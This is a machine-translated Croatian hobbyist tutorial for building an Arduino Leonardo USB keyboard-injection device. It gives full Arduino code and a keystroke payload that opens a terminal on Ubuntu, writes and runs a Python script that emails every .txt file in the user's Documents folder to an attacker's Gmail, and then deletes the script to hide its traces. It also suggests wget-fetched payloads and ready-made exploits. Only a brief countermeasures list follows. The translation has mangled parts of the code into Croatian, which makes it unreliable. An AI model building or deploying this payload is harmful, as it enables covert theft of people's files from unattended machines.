Sadržaj:

Demo demonstracija iskorištavanja tipkovnice Arduino (HID) i prevencija: 4 koraka (sa slikama)
Demo demonstracija iskorištavanja tipkovnice Arduino (HID) i prevencija: 4 koraka (sa slikama)

Video: Demo demonstracija iskorištavanja tipkovnice Arduino (HID) i prevencija: 4 koraka (sa slikama)

Video: Demo demonstracija iskorištavanja tipkovnice Arduino (HID) i prevencija: 4 koraka (sa slikama)
Video: USB HID 16 bytes data transfer using ATmega32U4 2024, Srpanj
Anonim
Image
Image
Izrada uređaja
Izrada uređaja

U ovom projektu koristit ćemo arduino leonardo za simulaciju mogućeg USB napada pomoću HID -a (humain interface device).

Ovaj vodič nisam stvorio kako bih pomogao hakerima već da vam pokažem neke stvarne opasnosti i kako se zaštititi od tih opasnosti. Ovaj uređaj nije uređaj koji se može koristiti na bilo kojoj platformi za hakere, već je detaljniji dokaz koncepta.

Naučit ćemo sljedeće:

- kako koristiti arduino leonardo za oponašanje tipkovnice

- kako čitati podatke sa SD kartica

- kako stvoriti python skriptu koja skenira datoteke i šalje im e -poštu

- kako zaštititi sebe od USB hakerskih uređaja

Korak 1: Materijali

Dijelovi:

1. Arduino leonardo

2. čitač mikro USB kartica

3. nekoliko GB SD kartica

4. tipka poput ove (VCC, uzemljenje i signal)

5. ženski-muški i žensko-ženski prespojni kabeli

6. mikro USB na USB kabel

Korak 2: Izgradnja uređaja

Izrada uređaja
Izrada uređaja

Prije uputa za izgradnju pregledajmo princip rada:

Arduino leonardo može se ponašati kao uređaj ljudskog sučelja (HID) pa stoga može oponašati miš i tipkovnicu. Ovu ćemo značajku koristiti za otvaranje terminala (u UBUNTU linux) i pisanje male skripte koja će pristupati mapi /Dokumenti unutar korisničke mape, kopirati.txt datoteke tamo i poslati ih nekome e -poštom. Ako želite saznati više detalja, provjerite sljedeći korak.

Budući da se radi o demo uređaju, stvari su doista jednostavne, nećemo ništa lemiti.

Upute za izgradnju

Prije nego što počnemo provjeriti priložene datoteke, priložio sam sheme frcanja i sve potrebne datoteke

1. Sastavite komponente:

* priključite mikro USB kabel u arduino

* spojite ključni prekidač na arduino (uzemljenje, vcc i izlazni modul na D8)

* spojite čitač kartica na arduino (pomoću ICSP zaglavlja). Arduino leonardo nema ICSP zaglavlje spojeno na digitalne pinove pa ćete morati spojiti čitač kartica na ICSP zaglavlje. Neke crteže ICSP-a možete pronaći ovdje: https://learn.sparkfun.com/tutorials/installing-an…. Spojite SS pin na digitalni pin 10

2. nabavite arduino kôd, možete klonirati moje arduino spremište na githubu: https://github.com/danionescu0/arduino i otići na projects/keyboard_exploit ili ga preuzeti odozdo:

#include "Tipkovnica.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Spavanje::"; String commandStartingPoint = "Naredba::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kartica nije uspjela ili nije prisutna!"); povratak; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Učitano!"); kašnjenje (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Navedeni naziv datoteke nije prisutan na SD kartici, provjerite naziv datotekeOnCard!"); } Linija niza; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linija); sendToKeyboard (linija); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (linija); povratak; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Tekst:"); Serial.println (redak); Tipkovnica.println (linija); pritisni enter(); povratak; } Serial.println ("Naredba:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Naredba niza = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (naredba! = "") {Serial.print ("Naredba pronađena:"); Serial.println (naredba); Keyboard.press (getCommandCode (naredba)); kašnjenje (delayBetweenCommands); }} Keyboard.releaseAll (); kašnjenje (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Spavanje za:"); Serial.println (sleepAmount); kašnjenje (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kod = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; code = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; code = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; code = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; code = (text == "KEY_TAB")? KEY_TAB: code; code = (text == "KEY_RETURN")? KEY_RETURN: kod; code = (text == "KEY_ESC")? KEY_ESC: kod; code = (text == "KEY_INSERT")? KEY_INSERT: kod; code = (text == "KEY_DELETE")? KEY_DELETE: kod; code = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; code = (text == "KEY_HOME")? KEY_HOME: kod; code = (text == "KEY_END")? KEY_END: kod; code = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; code = (text == "KEY_F1")? KEY_F1: kod; code = (text == "KEY_F2")? KEY_F2: kod; code = (text == "KEY_F3")? KEY_F3: kod; code = (text == "KEY_F4")? KEY_F4: kod; code = (text == "KEY_F5")? KEY_F5: kod; code = (text == "KEY_F6")? KEY_F6: kod; code = (text == "KEY_F7")? KEY_F7: kod; code = (text == "KEY_F8")? KEY_F8: kod; code = (text == "KEY_F9")? KEY_F9: kod; code = (text == "KEY_F10")? KEY_F10: kod; code = (text == "KEY_F11")? KEY_F1: kod; code = (text == "KEY_F12")? KEY_F2: kod;

povratni kod;

}

3. Prenesite kôd na arduino, svakako odaberite brzinu prijenosa od 9600, serijski port i arduino leonardo

4. Formatirajte sd karticu pomoću FAT16 ili FAT32

5. Ako ste klonirali github repo odozgo, kopirajte datoteku hack.txt na karticu, ako datoteka nije navedena u nastavku:

Naredba:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Naredba:: KEY_INSERT uvozi smtplib import glob, os iz os.path import expanduser iz e -pošte. MIMEText uvoz MIMEText iz e -pošte. Utils uvozi COMMASPACE, formatdate iz koda za uvoz e -pošte

smtp_user = 'adresa_pošiljatelja_gmail'

smtp_pass = 'sender_gmail_password' to_address = 'adresa_primatelja' scan_documents_location = 'Dokumenti'

subject = body = 'Datoteke s hakiranog računala'

header = 'Prima: {0} nOd: {1} nPredmet: {2} n'.format (to_address, smtp_user, subject)

def sendMail (to, subject, text, files = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = tema msg.attach (MIMEText (tekst)) za datoteku u datotekama: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (datoteka)) msg.attach (dio)

poslužitelj = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Uredite sljedeće retke:

smtp_user = 'pošiljatelj_email_addr'

smtp_pass = 'lozinka_pošiljatelja' do_address = 'adresa_prijemnika'

I zamijenite ih svojim adresama e -pošte

7. Izvadite karticu i umetnite je u čitač arduino kartica

Korak 3: Kako to radi u pojedinostima

Kako će napad djelovati:

1. Kad je gumb pritisnut, leonardo će čitati SD karticu pomoću čitača SD kartica. Posebna datoteka koja sadrži ključeve i kombinaciju tipki bit će prisutna na kartici. Naziv datoteke je "hack.txt".

Datoteka može sadržavati neobrađeni tekst i proslijedit će se na tipkovnicu.

Također može sadržavati posebne naredbe poput "Sleep::" i "Command::".

Linija poput:

Spavanje:: 200 znači spavanje od 200 ms

Linija poput:

Naredba:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t znači pritisnut lijevi ctrl, lijevi alt pritisnut, t pritisnut i sve otpušteno

Sve posebne ključeve možete provjeriti ovdje:

2. Leonardo će čitati redak po redak, tumačiti naredbe i oponašati tipke na tipkovnici. Datoteka "hack.txt" sadrži kombinaciju ključeva koja čini sljedeće (za UBUNTU linux):

a. otvara terminal (CTRL + ALT + T)

b. otvara python datoteku za stvaranje pomoću vi (piše "vi hack.py"

c. piše Python skriptu koja prikuplja sve tekstualne datoteke unutar matične mape dokumenata i šalje ih na određenu gmail adresu

d. pokreće datoteku u pozadini ("nohup python hack.py &")

e. briše datoteku (rm -rf hack.py)

f. zatvara terminal (ALT + F4)

Cijela ova stvar traje nekoliko sekundi i ne ostavlja tragove.

Poboljšanja i rješavanje problema

* Možda ste primijetili da nakon otvaranja terminala pišem python datoteku. bolji način za to bit će da ga negdje ugostite i preuzmete pomoću naredbe "wget some_url", a zatim ga preimenujete u hack.py

* Također možemo preuzeti ili pokrenuti gotov exploit za ciljani operativni sustav

* wifi se može dodati u modul, a hakovi se mogu učitati putem WIFI -ja

* možete koristiti arduino micro (koji je mnogo manji) i u njega ugraditi exploit kod (kako bi bio manji)

Ograničenja

1. Budući da simulirani uređaj (tipkovnica i miš) nema povratnih informacija, ne znamo što će se dogoditi nakon izdavanja naredbe što znači da moramo koristiti kašnjenja. Na primjer, izdajem naredbu za otvaranje terminala, ali ne znam kada će biti otvoren, pa moram navesti proizvoljno kašnjenje kako se znakovi nakon upisa ne bi izgubili.

2. Možemo naići na probleme s dopuštenjem, poput nedostatka pristupa USB priključku ili dopuštenja za instaliranje nečega

3. Brzina pisanja nije tako velika na leonardu

4. Radit će samo na ciljanom operativnom sustavu (u našem slučaju UBUNTU linux)

U sljedećem koraku pokušat ćemo pronaći načine kako iskoristiti ta ograničenja kako bismo spriječili hakiranje našeg računala

Korak 4: Protumjere

1. Onemogućavanje USB priključaka

-za Windows možete provjeriti ovaj vodič:

2. USB uređaji s bijele liste:

- za Windows:

2. Zaključajte računalo kad niste tu

3. Nemojte se prijavljivati kao root (zahtijevaju lozinke za instaliranje bilo čega)

4. Ažurirajte sebe (uključena automatska ažuriranja)

Preporučeni: